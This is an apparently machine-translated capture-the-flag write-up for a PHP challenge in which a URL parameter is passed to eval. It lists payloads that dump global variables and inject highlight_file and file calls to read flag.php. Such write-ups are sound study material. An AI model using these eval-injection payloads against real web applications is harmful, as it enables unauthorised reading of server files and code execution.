The title looks familiar , It's similar to the question I wrote before

i Spring and autumn blasting -2_l2872253606 The blog of -CSDN Blog
The above article is more detailed than the following
utilize eval function , First, check the global variables
structure payload
url?hello=$GLOBALS
good heavens , I didn't find any flag, And was ridiculed
explain flag Is not a variable , It should be in flag.php It's annotated
structure Payload
url?hello=);highlight_file('flag.php');var_dump(
Get flag
Since it's in the document , It can also be done in another way , Utilization function
structure Payload
url?hello=file('flag.php')
Get the same flag
